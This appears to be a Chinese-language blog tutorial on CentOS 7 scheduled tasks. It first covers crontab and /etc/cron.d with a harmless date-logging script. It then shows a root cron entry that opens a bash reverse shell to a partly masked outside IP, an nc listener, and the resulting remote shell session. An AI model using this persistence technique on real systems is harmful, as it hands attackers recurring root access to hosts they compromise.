环境

系统:Centos7

Linux 中的定时任务

定时任务一般是通过 crontab 命令来实现 (crontab命令详解).

/etc/cron.d/ 这个目录中的文件也会被当作定时任务来执行,语法与 Crontab 命令的定时语法一样

还可以可以把脚本放在/etc/cron.hourly、/etc/cron.daily、/etc/cron.weekly、/etc/cron.monthly目录中实现定时执行的效果,让它每小时/天/星期、月执行一次。

举个例子

先创建一个 bash 脚本(记得为脚本增加可执行权限)

1
2
3
[root@iz2zeh8c7rfv50ucwssqd7z cron.d]# vim test1.sh
echo `date` > /etc/cron.d/time.txt
// 将当前时间写入 /etc/cron.d/time.txt

进入 /etc/cron.d 目录下写入一个定时任务文件

1
2
3
4
5
[root@iz2zeh8c7rfv50ucwssqd7z cron.d]# cd /etc/cron.d
[root@iz2zeh8c7rfv50ucwssqd7z cron.d]# vim text2
* * * * * root sh /etc/cron.d/test1.sh
//每分钟执行一次 `sh /etc/cron.d/test1.sh` 命令
//与 Crontab 不同的是在执行的命令前必须指定执行命令的用户,这里执行命令的是root用户

过一会 可以看到定时任务已经执行

1
2
3
4
5
[root@iz2zeh8c7rfv50ucwssqd7z cron.d]# ls
0hourly sysstat test1.sh text2 time.txt
[root@iz2zeh8c7rfv50ucwssqd7z cron.d]# cat time.txt
Thu Dec 13 18:24:01 CST 2018
[root@iz2zeh8c7rfv50ucwssqd7z cron.d]#

利用 /etc/cron.d/ 目录写入定时任务反弹shell

在 /etc/cron.d 中创建定时任务

1
2
3
[root@iz2zeh8c7rfv50ucwssqd7z /]# cd /etc/cron.d
[root@iz2zeh8c7rfv50ucwssqd7z cron.d]# vim shell
* * * * * root bash -i >& /dev/tcp/39.***.9.163/1234 0>&1

在攻击机用 nc 监听1234 端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[root@iz2zeh8c7rfv50ucwssqd7z /]# nc -lp 1234
bash: no job control in this shell
[root@iz2ze8tkg8sbxh5i1uz53nz ~]# ls
ls
d191f87a335d43d8174234302c4_p36_mk35.gif
flies
frp
gcc
l2tp.log
l2tp.sh
mcrypt
mysql.pcay
php-5.4.16.tar.gz
simple
vul
[root@iz2ze8tkg8sbxh5i1uz53nz ~]#

反弹成功!